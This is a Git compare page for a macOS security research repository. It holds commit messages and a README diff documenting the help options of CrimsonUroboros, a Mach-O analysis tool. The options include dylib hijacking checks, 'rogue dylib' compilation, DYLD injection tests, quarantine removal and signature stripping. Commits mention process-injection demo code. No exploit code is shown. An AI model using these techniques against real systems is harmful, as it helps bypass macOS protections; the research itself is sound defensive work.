50 Commits
v1.0 ... v1.1

Author SHA1 Message Date
Karmaz95
2e4fe54a6f Adding XNU article friend link 2024-12-30 21:06:08 +01:00
Karmaz95
6915ce42a4 Patching single "=" typo in requirements.txt 2024-12-27 01:10:37 +01:00
Karmaz95
603e984ed4 CrimsonUroboros --help update 2024-12-26 18:01:52 +01:00
Karmaz95
06db486a74 Adding test_parse_mpo to XNU testing class 2024-12-26 17:54:59 +01:00
Karmaz95
6223fc3df2 Moving dump_kext to XNU class 2024-12-26 17:36:13 +01:00
Karmaz95
116c826b9c Update CrimsonUroboros with XNU 2024-12-26 16:47:29 +01:00
Karmaz95
a0e9a1500f Adding a link to the Drivers on macOS article. 2024-12-26 04:08:32 +01:00
Karmaz95
532c6cf56f Updated, but still need some work 2024-12-25 07:16:08 +01:00
Karmaz95
514b18d64f Adding AppleJPEGDriver_method_1.cpp 2024-12-25 06:02:41 +01:00
Karmaz95
24cd4ccb58 Adding IOConnectCallMethod simple examples 2024-12-25 01:29:41 +01:00
Karmaz95
a49923016b IDA script for IOExternalMethodDispatch2022 array parsing 2024-12-24 23:31:11 +01:00
Karmaz95
0a576da592 Uploading example C programs for driver article. 2024-12-23 13:17:48 +01:00
Karmaz95
7a0de01576 Adding link to XPC Programming on macOS 2024-12-21 12:44:02 +01:00
Karmaz95
2107b01887 Uploading LLDB helper for setting XPC breakpoints 2024-12-20 22:41:32 +01:00
Karmaz95
684d03c491 Uploading LaunchDaemon XPC service example 2024-12-20 02:02:18 +01:00
Karmaz95
83db8c656d test_terminal_xpc update 2024-12-18 22:43:58 +01:00
Karmaz95
3f1b032bff Moving XPC to App Bundle Extension directory from XNU 2024-12-18 22:35:45 +01:00
Karmaz95
b920d49964 Uploading test_termina_xpc bundle app 2024-12-18 22:33:55 +01:00
Karmaz95
917088a2ec Adding Mach IPC Security on macOS article link 2024-12-17 18:27:33 +01:00
Karmaz95
9f195f010b Uploading code that demonstrates process injection on macOS using the Mach kernel APIs 2024-12-17 15:29:54 +01:00
Karmaz95
1e0787cef8 Uploading scripts for special ports enumeration 2024-12-17 03:27:51 +01:00
Karmaz95
5f2f010eb7 Update to enum_special_port_rights 2024-12-17 03:21:09 +01:00
Karmaz95
2b125144ea Uploading service_lookup 2024-12-17 02:40:51 +01:00
Karmaz95
fe6dcb3b79 Update for port_inspector 2024-12-17 02:11:37 +01:00
Karmaz95
975b88ffcc Adding port_inspector.c 2024-12-16 16:11:02 +01:00
Karmaz95
3f3d5355b3 Adding client_server NSNotification example 2024-12-16 15:21:42 +01:00
Karmaz95
043c2714f1 Adding client_server CFMessagePort example 2024-12-16 14:45:50 +01:00
Karmaz95
b735706891 Adding client_server NSMachPort example 2024-12-16 14:35:30 +01:00
Karmaz95
5e6daa4a92 Adding client_server NSConnection example 2024-12-16 14:12:52 +01:00
Karmaz95
9a58e93e3c 2024-12-15 22:55:06 +01:00
Karmaz95
63971e56bc Move enum_special_port_rights to mach_ipc directory 2024-12-15 18:53:49 +01:00
Karmaz95
25dd6a7ef2 Adding example Mach IPC client-server with and without MIG 2024-12-15 17:56:29 +01:00
Karmaz95
0b585a6e33 Enumerates our task rights to special ports 2024-12-14 22:29:58 +01:00
Karmaz95
94ac0a9eda Adding CommPageParser 2024-12-11 19:33:33 +01:00
Karmaz95
dcd13d7e7a Adding Kernel Extensions on macOS link. 2024-12-10 19:27:04 +01:00
Karmaz95
4e92e0de3f Fix dependency 2024-12-08 13:15:16 +01:00
Karmaz95
2249085af6 Add printf to kext start/stop 2024-12-08 13:14:19 +01:00
Karmaz95
7697a32562 The fix for "Binary is for x86_64, but arch arm64e" is needed while loading kext. 2024-12-06 22:03:29 +01:00
Karmaz95
8a218fe824 Fix for the "missing compatible arch" error when loading kext. 2024-12-06 21:56:11 +01:00
Karmaz95
cac8faf611 Bug fix - no kext binary after successful build. 2024-12-06 21:49:53 +01:00
Karmaz95
6fa59caab5 Bare Kernel Extension project ready to compile 2024-12-06 21:27:23 +01:00
Karmaz95
42cf84599a Patching getSegmentsInfo bug when parsing kext 2024-12-06 19:55:44 +01:00
Karmaz95
23280fb8c9 Added article about [MACF on macOS] 2024-11-28 21:50:18 +01:00
Karmaz95
448432df9d Added article about Exceptions on macOS 2024-11-28 19:47:01 +01:00
Karmaz95
d292244cbe Adding MPO (mac_policy_ops) parser 2024-11-28 19:43:45 +01:00
Karmaz95
6b34b6ea10 Adding MPO structure for IDA 2024-11-28 18:32:25 +01:00
Karmaz95
5099b43a34 Preparing CrimsonUroboros for XNU module. 2024-11-28 18:32:09 +01:00
Karmaz95
1bc13f6fbe Article: Exceptions on macOS 2024-11-22 19:20:41 +01:00
Karmaz95
c956294ec7 Fix for typo in README.md 2024-11-16 14:17:00 +01:00
Karmaz95
9c9d5d30f0 Typo in README.md 2024-11-15 19:08:19 +01:00
49 changed files with 7229 additions and 414 deletions

Binary file not shown.

373
README.md
View File

@@ -14,6 +14,7 @@ The table of contents showing links to all articles is below:
* ☑ [App Bundle Extension](https://karol-mazurek.medium.com/snake-apple-app-bundle-ext-f5c43a3c84c4?sk=v2%2F3ff105ad-f4f0-464d-b4d5-46b86c66fe14)
* ☑ [Cracking macOS apps](https://karol-mazurek.medium.com/cracking-macos-apps-39575dd672e0?sk=v2%2F727dce55-53ee-45f6-b051-2979e62f2ba1)
* ☑ [Cracking Electron Integrity](https://karol-mazurek.medium.com/cracking-electron-integrity-0a10e0d5f239?sk=v2%2F7726b99c-c6c9-4d70-8c37-da9f2f0874e8)
* ☑ [XPC Programming on macOS](https://karol-mazurek.medium.com/xpc-programming-on-macos-7e1918573f6d?sk=v2%2F21c4e9c7-40a5-43dd-804b-0d8f9bc4e94c)
* ☑ [I. Mach-O](https://karol-mazurek95.medium.com/snake-apple-i-mach-o-a8eda4b87263?sk=v2%2Ffc1cbfa4-e2d4-4387-9a82-b27191978b5b)
* ☑ [Optimizing Mach-O Detection](https://karol-mazurek.medium.com/optimizing-mach-o-detection-40352101bbef?sk=v2%2F3378d3f5-874b-4b82-94d5-b2ccd8522ea3)
* ☑ [II. Code Signing](https://karol-mazurek95.medium.com/snake-apple-ii-code-signing-f0a9967b7f02?sk=v2%2Fbbc87007-89ca-4135-91d6-668b5d2fe9ae)
@@ -41,11 +42,16 @@ The table of contents showing links to all articles is below:
* ☑ [Sandbox Validator](https://karol-mazurek.medium.com/sandbox-validator-e760e5d88617?sk=v2%2F145ac2ef-ca06-41a0-b310-c96f4ce0037b)
* ☑ [App Sandbox startup](https://karol-mazurek.medium.com/app-sandbox-startup-71daf8f259d1?sk=v2%2F9f3b09a6-c7c0-445d-8613-8e25bf3f4e4d)
* ☑ [System Intigrity Protection](https://karol-mazurek.medium.com/system-integrity-protection-sip-140562b07fea?sk=v2%2F9c293b8f-c376-4603-b8a1-2872ba3395cf)
* ☐ [IX. TCC](https://karol-mazurek.medium.com/snake-apple-ix-tcc-ae822e3e2718?sk=v2%2F426ae6cf-6418-4e3f-a0ca-3aee06d6f676)
* ☑ [IX. TCC](https://karol-mazurek.medium.com/snake-apple-ix-tcc-ae822e3e2718?sk=v2%2F426ae6cf-6418-4e3f-a0ca-3aee06d6f676)
* ☑ [Apple UUID Finder](https://karol-mazurek.medium.com/apple-uuid-finder-a5173bdd1a8a?sk=v2%2F04bb0d32-6dc9-437d-bf72-8f65e03fed90)
* ☐ [X. NU]()
* ☑ [X. NU](https://karol-mazurek.medium.com/snake-apple-x-nu-0bc5c36170da?sk=v2%2F502ee9db-8d8a-4a1b-8655-546742a7d261)
* ☑ [Kernel Debugging Setup on MacOS](https://karol-mazurek.medium.com/kernel-debugging-setup-on-macos-07dd8c86cdb6?sk=v2%2F782bf539-a057-4f14-bbe7-f8e1ace26701)
* ☐ [Fixing an Infinite Loop](https://karol-mazurek.medium.com/fixing-an-infinite-loop-on-unix-e0a8a5501c54?sk=v2%2F140555f8-9770-4c6b-9734-d9c5b7cc9bc7)
* ☑ [Fixing an Infinite Loop](https://karol-mazurek.medium.com/fixing-an-infinite-loop-on-unix-e0a8a5501c54?sk=v2%2F140555f8-9770-4c6b-9734-d9c5b7cc9bc7)
* ☑ [Exceptions on macOS](https://karol-mazurek.medium.com/exceptions-on-macos-2c4bd6a9fd31?sk=v2%2Ffa7393a6-16e7-46d4-84d0-4de300260533)
* ☑ [MACF on macOS](https://karol-mazurek.medium.com/macf-on-macos-004b8a490e2c?sk=v2%2Fd9a61281-e230-4ac6-8608-ad062f4d2a9a)
* ☑ [Kernel Extensions on macOS](https://karol-mazurek.medium.com/kernel-extensions-on-macos-1b0f38b632ea?sk=v2%2Fb6920735-90f9-459c-9c10-30980247bae7)
* ☑ [Mach IPC Security on macOS](https://karol-mazurek.medium.com/mach-ipc-security-on-macos-63ee350cb59b?sk=v2%2F3afce264-9b59-447f-84ea-b1988606191a)
* ☑ [Drivers on macOS](https://karol-mazurek.medium.com/drivers-on-macos-26edbde370ab?sk=v2%2F8a5bbc18-aae7-4a68-b0dd-bb5ce70b5752)
## TOOLS
[CrimsonUroboros](#crimsonuroboros) • [MachOFileFinder](#machofilefinder) • [TrustCacheParser](#trustcacheparser) • [SignatureReader](#signaturereader) • [extract_cms.sh](#extract_cmssh) • [ModifyMachOFlags](#modifymachoflags) • [LCFinder](#lcfinder) • [MachODylibLoadCommandsFinder](#machodylibloadcommandsfinder) • [AMFI_test.sh](VI.%20AMFI/custom/AMFI_test.sh) • [make_plist](VIII.%20Sandbox/python/make_plist.py) • [sandbox_inspector](VIII.%20Sandbox/python/sandbox_inspector.py) • [spblp_compiler_wrapper](VIII.%20Sandbox/custom/sbpl_compiler_wrapper) • [make_bundle](#make_bundle) • [make_bundle_exe](#make_bundle_exe) • [make_dmg](#make_dmg) • [electron_patcher](#electron_patcher) • [sandbox_validator](#sandbox_validator) • [sandblaster](#sandblaster) • [sip_check](#sip_check) • [crimson_waccess.py](#crimson_waccesspy) • [sip_tester](#sip_tester) • [UUIDFinder](#uuidfinder)
@@ -56,68 +62,41 @@ The table of contents showing links to all articles is below:
Core program resulting from the Snake&Apple article series for binary analysis. You may find older versions of this script in each article directory in this repository.
* Usage
```console
usage: CrimsonUroboros [-h] [-p PATH] [-b BUNDLE] [--bundle_structure]
[--bundle_info] [--bundle_info_syntax_check]
[--bundle_frameworks] [--bundle_plugins] [--bundle_id]
[--file_type] [--header_flags] [--endian] [--header]
[--load_commands] [--has_cmd LC_MAIN] [--segments]
[--has_segment __SEGMENT] [--sections]
[--has_section __SEGMENT,__section] [--symbols]
[--imports] [--exports] [--imported_symbols]
[--chained_fixups] [--exports_trie] [--uuid] [--main]
[--encryption_info [(optional) save_path.bytes]]
[--strings_section] [--all_strings]
[--save_strings all_strings.txt] [--info]
[--dump_data [offset,size,output_path]]
[--calc_offset vm_offset] [--constructors]
[--dump_section __SEGMENT,__section]
[--dump_binary output_path] [--verify_signature]
[--cd_info] [--cd_requirements]
[--entitlements [human|xml|var]]
[--extract_cms cms_signature.der]
[--extract_certificates certificate_name]
[--remove_sig unsigned_binary]
[--sign_binary [adhoc|identity]] [--cs_offset]
[--cs_flags] [--verify_bundle_signature]
[--remove_sig_from_bundle] [--has_pie] [--has_arc]
[--is_stripped] [--has_canary] [--has_nx_stack]
[--has_nx_heap] [--has_xn] [--is_notarized]
[--is_encrypted] [--is_restricted] [--is_hr] [--is_as]
[--is_fort] [--has_rpath] [--has_lv] [--checksec]
[--dylibs] [--rpaths] [--rpaths_u] [--dylibs_paths]
[--dylibs_paths_u] [--broken_relative_paths]
[--dylibtree [cache_path,output_path,is_extracted]]
[--dylib_id] [--reexport_paths] [--hijack_sec]
[--dylib_hijacking [(optional) cache_path]]
[--dylib_hijacking_a [cache_path]]
[--prepare_dylib [(optional) target_dylib_name]]
[--is_built_for_sim] [--get_dyld_env]
[--compiled_with_dyld_env] [--has_interposing]
[--interposing_symbols]
[--dump_prelink_info [(optional) out_name]]
[--dump_prelink_text [(optional) out_name]]
[--dump_prelink_kext [kext_name]]
[--kext_prelinkinfo [kext_name]]
[--kmod_info kext_name] [--kext_entry kext_name]
[--kext_exit kext_name] [--mig] [--has_suid]
[--has_sgid] [--has_sticky] [--injectable_dyld]
[--test_insert_dylib] [--test_prune_dyld]
[--test_dyld_print_to_file] [--test_dyld_SLC] [--xattr]
[--xattr_value xattr_name] [--xattr_all]
[--has_quarantine] [--remove_quarantine]
[--add_quarantine] [--sandbox_container_path]
[--sandbox_container_metadata]
[--sandbox_redirectable_paths] [--sandbox_parameters]
[--sandbox_entitlements] [--sandbox_build_uuid]
[--sandbox_redirected_paths] [--sandbox_system_images]
[--sandbox_system_profiles]
[--sandbox_content_protection] [--sandbox_profile_data]
[--dump_kext kext_name] [--extract_sandbox_operations]
[--tcc] [--tcc_fda] [--tcc_automation] [--tcc_sysadmin]
[--tcc_desktop] [--tcc_documents] [--tcc_downloads]
[--tcc_photos] [--tcc_contacts] [--tcc_calendar]
[--tcc_camera] [--tcc_microphone] [--tcc_location]
[--tcc_recording] [--tcc_accessibility] [--tcc_icloud]
usage: CrimsonUroboros [-h] [-p PATH] [-b BUNDLE] [--bundle_structure] [--bundle_info] [--bundle_info_syntax_check]
[--bundle_frameworks] [--bundle_plugins] [--bundle_id] [--file_type] [--header_flags]
[--endian] [--header] [--load_commands] [--has_cmd LC_MAIN] [--segments]
[--has_segment __SEGMENT] [--sections] [--has_section __SEGMENT,__section] [--symbols]
[--imports] [--exports] [--imported_symbols] [--chained_fixups] [--exports_trie] [--uuid]
[--main] [--encryption_info [(optional) save_path.bytes]] [--strings_section]
[--all_strings] [--save_strings all_strings.txt] [--info]
[--dump_data [offset,size,output_path]] [--calc_offset vm_offset] [--constructors]
[--dump_section __SEGMENT,__section] [--dump_binary output_path] [--verify_signature]
[--cd_info] [--cd_requirements] [--entitlements [human|xml|var]]
[--extract_cms cms_signature.der] [--extract_certificates certificate_name]
[--remove_sig unsigned_binary] [--sign_binary [adhoc|identity]] [--cs_offset] [--cs_flags]
[--verify_bundle_signature] [--remove_sig_from_bundle] [--has_pie] [--has_arc]
[--is_stripped] [--has_canary] [--has_nx_stack] [--has_nx_heap] [--has_xn] [--is_notarized]
[--is_encrypted] [--is_restricted] [--is_hr] [--is_as] [--is_fort] [--has_rpath] [--has_lv]
[--checksec] [--dylibs] [--rpaths] [--rpaths_u] [--dylibs_paths] [--dylibs_paths_u]
[--broken_relative_paths] [--dylibtree [cache_path,output_path,is_extracted]] [--dylib_id]
[--reexport_paths] [--hijack_sec] [--dylib_hijacking [(optional) cache_path]]
[--dylib_hijacking_a [cache_path]] [--prepare_dylib [(optional) target_dylib_name]]
[--is_built_for_sim] [--get_dyld_env] [--compiled_with_dyld_env] [--has_interposing]
[--interposing_symbols] [--has_suid] [--has_sgid] [--has_sticky] [--injectable_dyld]
[--test_insert_dylib] [--test_prune_dyld] [--test_dyld_print_to_file] [--test_dyld_SLC]
[--xattr] [--xattr_value xattr_name] [--xattr_all] [--has_quarantine] [--remove_quarantine]
[--add_quarantine] [--sandbox_container_path] [--sandbox_container_metadata]
[--sandbox_redirectable_paths] [--sandbox_parameters] [--sandbox_entitlements]
[--sandbox_build_uuid] [--sandbox_redirected_paths] [--sandbox_system_images]
[--sandbox_system_profiles] [--sandbox_content_protection] [--sandbox_profile_data]
[--extract_sandbox_operations] [--extract_sandbox_platform_profile] [--tcc] [--tcc_fda]
[--tcc_automation] [--tcc_sysadmin] [--tcc_desktop] [--tcc_documents] [--tcc_downloads]
[--tcc_photos] [--tcc_contacts] [--tcc_calendar] [--tcc_camera] [--tcc_microphone]
[--tcc_location] [--tcc_recording] [--tcc_accessibility] [--tcc_icloud]
[--parse_mpo mpo_addr] [--dump_prelink_info [(optional) out_name]]
[--dump_prelink_text [(optional) out_name]] [--dump_prelink_kext [kext_name]]
[--kext_prelinkinfo [kext_name]] [--kmod_info kext_name] [--kext_entry kext_name]
[--kext_exit kext_name] [--mig] [--dump_kext kext_name]
Mach-O files parser for binary analysis
@@ -126,20 +105,17 @@ options:
GENERAL ARGS:
-p, --path PATH Path to the Mach-O file
-b, --bundle BUNDLE Path to the App Bundle (can be used with -p to change
path of binary which is by default set to:
/target.app/Contents/MacOS/target)
-b, --bundle BUNDLE Path to the App Bundle (can be used with -p to change path of binary which is by default
set to: /target.app/Contents/MacOS/target)
BUNDLE ARGS:
--bundle_structure Print the structure of the app bundle
--bundle_info Print the Info.plist content of the app bundle (JSON
format)
--bundle_info Print the Info.plist content of the app bundle (JSON format)
--bundle_info_syntax_check
Check if bundle info syntax is valid
--bundle_frameworks Print the list of frameworks in the bundle
--bundle_plugins Print the list of plugins in the bundle
--bundle_id Print the CFBundleIdentifier value from the Info.plist
file if it exists
--bundle_id Print the CFBundleIdentifier value from the Info.plist file if it exists
MACH-O ARGS:
--file_type Print binary file type
@@ -157,192 +133,129 @@ MACH-O ARGS:
--symbols Print all binary symbols
--imports Print imported symbols
--exports Print exported symbols
--imported_symbols Print symbols imported from external libraries with
dylib names
--imported_symbols Print symbols imported from external libraries with dylib names
--chained_fixups Print Chained Fixups information
--exports_trie Print Export Trie information
--uuid Print UUID
--main Print entry point and stack size
--encryption_info [(optional) save_path.bytes]
Print encryption info if any. Optionally specify an
output path to dump the encrypted data (if cryptid=0,
data will be in plain text)
Print encryption info if any. Optionally specify an output path to dump the encrypted data
(if cryptid=0, data will be in plain text)
--strings_section Print strings from __cstring section
--all_strings Print strings from all sections
--save_strings all_strings.txt
Parse all sections, detect strings, and save them to a
file
--info Print header, load commands, segments, sections,
symbols, and strings
Parse all sections, detect strings, and save them to a file
--info Print header, load commands, segments, sections, symbols, and strings
--dump_data [offset,size,output_path]
Dump {size} bytes starting from {offset} to a given
{filename} (e.g. '0x1234,0x1000,out.bin')
Dump {size} bytes starting from {offset} to a given {filename} (e.g.
'0x1234,0x1000,out.bin')
--calc_offset vm_offset
Calculate the real address (file on disk) of the given
Virtual Memory {vm_offset} (e.g. 0xfffffe000748f580)
Calculate the real address (file on disk) of the given Virtual Memory {vm_offset} (e.g.
0xfffffe000748f580)
--constructors Print binary constructors
--dump_section __SEGMENT,__section
Dump '__SEGMENT,__section' to standard output as a raw
bytes
Dump '__SEGMENT,__section' to standard output as a raw bytes
--dump_binary output_path
Dump arm64 binary to a given file
CODE SIGNING ARGS:
--verify_signature Code Signature verification (if the contents of the
binary have been modified)
--verify_signature Code Signature verification (if the contents of the binary have been modified)
--cd_info Print Code Signature information
--cd_requirements Print Code Signature Requirements
--entitlements [human|xml|var]
Print Entitlements in a human-readable, XML, or DER
format (default: human)
Print Entitlements in a human-readable, XML, or DER format (default: human)
--extract_cms cms_signature.der
Extract CMS Signature from the Code Signature and save
it to a given file
Extract CMS Signature from the Code Signature and save it to a given file
--extract_certificates certificate_name
Extract Certificates and save them to a given file. To
each filename will be added an index at the end: _0
for signing, _1 for intermediate, and _2 for root CA
certificate
Extract Certificates and save them to a given file. To each filename will be added an index
at the end: _0 for signing, _1 for intermediate, and _2 for root CA certificate
--remove_sig unsigned_binary
Save the new file on a disk with removed signature
--sign_binary [adhoc|identity]
Sign binary using specified identity - use : 'security
find-identity -v -p codesigning' to get the identity
(default: adhoc)
Sign binary using specified identity - use : 'security find-identity -v -p codesigning' to
get the identity (default: adhoc)
--cs_offset Print Code Signature file offset
--cs_flags Print Code Signature flags
--verify_bundle_signature
Code Signature verification (if the contents of the
bundle have been modified)
Code Signature verification (if the contents of the bundle have been modified)
--remove_sig_from_bundle
Remove Code Signature from the bundle
CHECKSEC ARGS:
--has_pie Check if Position-Independent Executable (PIE) is set
--has_arc Check if Automatic Reference Counting (ARC) is in use
(can be false positive)
--has_arc Check if Automatic Reference Counting (ARC) is in use (can be false positive)
--is_stripped Check if binary is stripped
--has_canary Check if Stack Canary is in use (can be false
positive)
--has_canary Check if Stack Canary is in use (can be false positive)
--has_nx_stack Check if stack is non-executable (NX stack)
--has_nx_heap Check if heap is non-executable (NX heap)
--has_xn Check if binary is protected by eXecute Never (XN) ARM
protection
--is_notarized Check if the application is notarized and can pass the
Gatekeeper verification
--is_encrypted Check if the application is encrypted (has
LC_ENCRYPTION_INFO(_64) and cryptid set to 1)
--is_restricted Check if binary has __RESTRICT segment or CS_RESTRICT
flag set
--has_xn Check if binary is protected by eXecute Never (XN) ARM protection
--is_notarized Check if the application is notarized and can pass the Gatekeeper verification
--is_encrypted Check if the application is encrypted (has LC_ENCRYPTION_INFO(_64) and cryptid set to 1)
--is_restricted Check if binary has __RESTRICT segment or CS_RESTRICT flag set
--is_hr Check if the Hardened Runtime is in use
--is_as Check if the App Sandbox is in use
--is_fort Check if the binary is fortified
--has_rpath Check if the binary utilise any @rpath variables
--has_lv Check if the binary has Library Validation (protection
against Dylib Hijacking)
--has_lv Check if the binary has Library Validation (protection against Dylib Hijacking)
--checksec Run all checksec module options on the binary
DYLIBS ARGS:
--dylibs Print shared libraries used by specified binary with
compatibility and the current version (loading paths
unresolved, like @rpath/example.dylib)
--rpaths Print all paths (resolved) that @rpath can be resolved
to
--rpaths_u Print all paths (unresolved) that @rpath can be
resolved to
--dylibs_paths Print absolute dylib loading paths (resolved
@rpath|@executable_path|@loader_path) in order they
are searched for
--dylibs Print shared libraries used by specified binary with compatibility and the current version
(loading paths unresolved, like @rpath/example.dylib)
--rpaths Print all paths (resolved) that @rpath can be resolved to
--rpaths_u Print all paths (unresolved) that @rpath can be resolved to
--dylibs_paths Print absolute dylib loading paths (resolved @rpath|@executable_path|@loader_path) in order
they are searched for
--dylibs_paths_u Print unresolved dylib loading paths.
--broken_relative_paths
Print 'broken' relative paths from the binary (cases
where the dylib source is specified for an executable
directory without @executable_path)
Print 'broken' relative paths from the binary (cases where the dylib source is specified
for an executable directory without @executable_path)
--dylibtree [cache_path,output_path,is_extracted]
Print the dynamic dependencies of a Mach-O binary
recursively. You can specify the Dyld Shared Cache
path in the first argument, the output directory as
the 2nd argument, and if you have already extracted
DSC in the 3rd argument (0 or 1). The output_path will
be used as a base for dylibtree. For example, to not
extract DSC, use: --dylibs ",,1", or to extract from
default to default use just --dylibs or --dylibs ",,0"
which will extract DSC to extracted_dyld_share_cache/
in the current directory
Print the dynamic dependencies of a Mach-O binary recursively. You can specify the Dyld
Shared Cache path in the first argument, the output directory as the 2nd argument, and if
you have already extracted DSC in the 3rd argument (0 or 1). The output_path will be used
as a base for dylibtree. For example, to not extract DSC, use: --dylibs ",,1", or to
extract from default to default use just --dylibs or --dylibs ",,0" which will extract DSC
to extracted_dyld_share_cache/ in the current directory
--dylib_id Print path from LC_ID_DYLIB
--reexport_paths Print paths from LC_REEXPORT_DLIB
--hijack_sec Check if binary is protected against Dylib Hijacking
--dylib_hijacking [(optional) cache_path]
Check for possible Direct and Indirect Dylib Hijacking
loading paths. The output is printed to console and
saved in JSON format to
/tmp/dylib_hijacking_log.json(append mode).
Check for possible Direct and Indirect Dylib Hijacking loading paths. The output is printed
to console and saved in JSON format to /tmp/dylib_hijacking_log.json(append mode).
Optionally, specify the path to the Dyld Shared Cache
--dylib_hijacking_a [cache_path]
Like --dylib_hijacking, but shows only possible
vectors (without protected binaries)
Like --dylib_hijacking, but shows only possible vectors (without protected binaries)
--prepare_dylib [(optional) target_dylib_name]
Compile rogue dylib. Optionally, specify
target_dylib_path, it will search for the imported
symbols from it in the dylib specified in the --path
argument and automatically add it to the source code
of the rogue lib. Example: --path lib1.dylib
--prepare_dylib /path/to/lib2.dylib
Compile rogue dylib. Optionally, specify target_dylib_path, it will search for the imported
symbols from it in the dylib specified in the --path argument and automatically add it to
the source code of the rogue lib. Example: --path lib1.dylib --prepare_dylib
/path/to/lib2.dylib
DYLD ARGS:
--is_built_for_sim Check if binary is built for simulator platform.
--get_dyld_env Extract Dyld environment variables from the loader
binary.
--get_dyld_env Extract Dyld environment variables from the loader binary.
--compiled_with_dyld_env
Check if binary was compiled with -dyld_env flag and
print the environment variables and its values.
Check if binary was compiled with -dyld_env flag and print the environment variables and
its values.
--has_interposing Check if binary has interposing sections.
--interposing_symbols
Print interposing symbols if any.
AMFI ARGS:
--dump_prelink_info [(optional) out_name]
Dump "__PRELINK_INFO,__info" to a given file (default:
"PRELINK_info.txt")
--dump_prelink_text [(optional) out_name]
Dump "__PRELINK_TEXT,__text" to a given file (default:
"PRELINK_text.txt")
--dump_prelink_kext [kext_name]
Dump prelinked KEXT {kext_name} from decompressed
Kernel Cache PRELINK_TEXT segment to a file named:
prelinked_{kext_name}.bin
--kext_prelinkinfo [kext_name]
Print _Prelink properties from PRELINK_INFO,__info for
a give {kext_name}
--kmod_info kext_name
Parse kmod_info structure for the given {kext_name}
from Kernel Cache
--kext_entry kext_name
Calculate the virtual memory address of the __start
(entrypoint) for the given {kext_name} Kernel
Extension
--kext_exit kext_name
Calculate the virtual memory address of the __stop
(exitpoint) for the given {kext_name} Kernel Extension
--mig Search for MIG subsystem and prints message handlers
--has_suid Check if the file has SetUID bit set
--has_sgid Check if the file has SetGID bit set
--has_sticky Check if the file has sticky bit set
--injectable_dyld Check if the binary is injectable using
DYLD_INSERT_LIBRARIES
--test_insert_dylib Check if it is possible to inject dylib using
DYLD_INSERT_LIBRARIES (INVASIVE - the binary is
executed)
--test_prune_dyld Check if Dyld Environment Variables are cleared (using
DYLD_PRINT_INITIALIZERS=1) (INVASIVE - the binary is
executed)
--injectable_dyld Check if the binary is injectable using DYLD_INSERT_LIBRARIES
--test_insert_dylib Check if it is possible to inject dylib using DYLD_INSERT_LIBRARIES (INVASIVE - the binary
is executed)
--test_prune_dyld Check if Dyld Environment Variables are cleared (using DYLD_PRINT_INITIALIZERS=1) (INVASIVE
- the binary is executed)
--test_dyld_print_to_file
Check if DYLD_PRINT_TO_FILE Dyld Environment Variables
works (INVASIVE - the binary is executed)
--test_dyld_SLC Check if DYLD_SHARED_REGION=private Dyld Environment
Variables works and code can be injected using
DYLD_SHARED_CACHE_DIR (INVASIVE - the binary is
Check if DYLD_PRINT_TO_FILE Dyld Environment Variables works (INVASIVE - the binary is
executed)
--test_dyld_SLC Check if DYLD_SHARED_REGION=private Dyld Environment Variables works and code can be
injected using DYLD_SHARED_CACHE_DIR (INVASIVE - the binary is executed)
ANTIVIRUS ARGS:
--xattr Print all extended attributes names
@@ -350,55 +263,41 @@ ANTIVIRUS ARGS:
Print single extended attribute value
--xattr_all Print all extended attributes names and their values
--has_quarantine Check if the file has quarantine extended attribute
--remove_quarantine Remove com.apple.quarantine extended attribute from
the file
--add_quarantine Add com.apple.quarantine extended attribute to the
file
--remove_quarantine Remove com.apple.quarantine extended attribute from the file
--add_quarantine Add com.apple.quarantine extended attribute to the file
SANDBOX ARGS:
--sandbox_container_path
Print the sandbox container path
--sandbox_container_metadata
Print the .com.apple.containermanagerd.metadata.plist
contents for the given bundlein XML format
Print the .com.apple.containermanagerd.metadata.plist contents for the given bundlein XML
format
--sandbox_redirectable_paths
Print the redirectable paths from the sandbox
container metadata as list
--sandbox_parameters Print the parameters from the sandbox container
metadata as key-value pairs
Print the redirectable paths from the sandbox container metadata as list
--sandbox_parameters Print the parameters from the sandbox container metadata as key-value pairs
--sandbox_entitlements
Print the entitlements from the sandbox container
metadata in JSON format
--sandbox_build_uuid Print the sandbox build UUID from the sandbox
container metadata
Print the entitlements from the sandbox container metadata in JSON format
--sandbox_build_uuid Print the sandbox build UUID from the sandbox container metadata
--sandbox_redirected_paths
Print the redirected paths from the sandbox container
metadata as list
Print the redirected paths from the sandbox container metadata as list
--sandbox_system_images
Print the system images from the sandbox container
metadata as key-value pairs
Print the system images from the sandbox container metadata as key-value pairs
--sandbox_system_profiles
Print the system profile from the sandbox container
metadata in JSON format
Print the system profile from the sandbox container metadata in JSON format
--sandbox_content_protection
Print the content protection from the sandbox
container metadata
Print the content protection from the sandbox container metadata
--sandbox_profile_data
Print raw bytes ofthe sandbox profile data from the
sandbox container metadata
--dump_kext kext_name
Dump the kernel extension binary from the
kernelcache.decompressed file
Print raw bytes ofthe sandbox profile data from the sandbox container metadata
--extract_sandbox_operations
Extract sandbox operations from the Sandbox.kext file
--extract_sandbox_platform_profile
Extract sandbox platform profile from the Sandbox.kext file
TCC ARGS:
--tcc Print TCC permissions of the binary
--tcc_fda Check Full Disk Access (FDA) TCC permission for the
binary
--tcc_fda Check Full Disk Access (FDA) TCC permission for the binary
--tcc_automation Check Automation TCC permission for the binary
--tcc_sysadmin Check System Policy SysAdmin Files TCC permission for
the binary
--tcc_sysadmin Check System Policy SysAdmin Files TCC permission for the binary
--tcc_desktop Check Desktop Folder TCC permission for the binary
--tcc_documents Check Documents Folder TCC permission for the binary
--tcc_downloads Check Downloads Folder TCC permission for the binary
@@ -411,6 +310,30 @@ TCC ARGS:
--tcc_recording Check Screen Recording TCC permission for the binary
--tcc_accessibility Check Accessibility TCC permission for the binary
--tcc_icloud Check iCloud (Ubiquity) TCC permission for the binary
XNU ARGS:
--parse_mpo mpo_addr Parse mac_policy_ops at given address from Kernel Cache and print pointers in use (not
zeroed)
--dump_prelink_info [(optional) out_name]
Dump "__PRELINK_INFO,__info" to a given file (default: "PRELINK_info.txt")
--dump_prelink_text [(optional) out_name]
Dump "__PRELINK_TEXT,__text" to a given file (default: "PRELINK_text.txt")
--dump_prelink_kext [kext_name]
Dump prelinked KEXT {kext_name} from decompressed Kernel Cache PRELINK_TEXT segment to a
file named: prelinked_{kext_name}.bin
--kext_prelinkinfo [kext_name]
Print _Prelink properties from PRELINK_INFO,__info for a give {kext_name}
--kmod_info kext_name
Parse kmod_info structure for the given {kext_name} from Kernel Cache
--kext_entry kext_name
Calculate the virtual memory address of the __start (entrypoint) for the given {kext_name}
Kernel Extension
--kext_exit kext_name
Calculate the virtual memory address of the __stop (exitpoint) for the given {kext_name}
Kernel Extension
--mig Search for MIG subsystem and prints message handlers
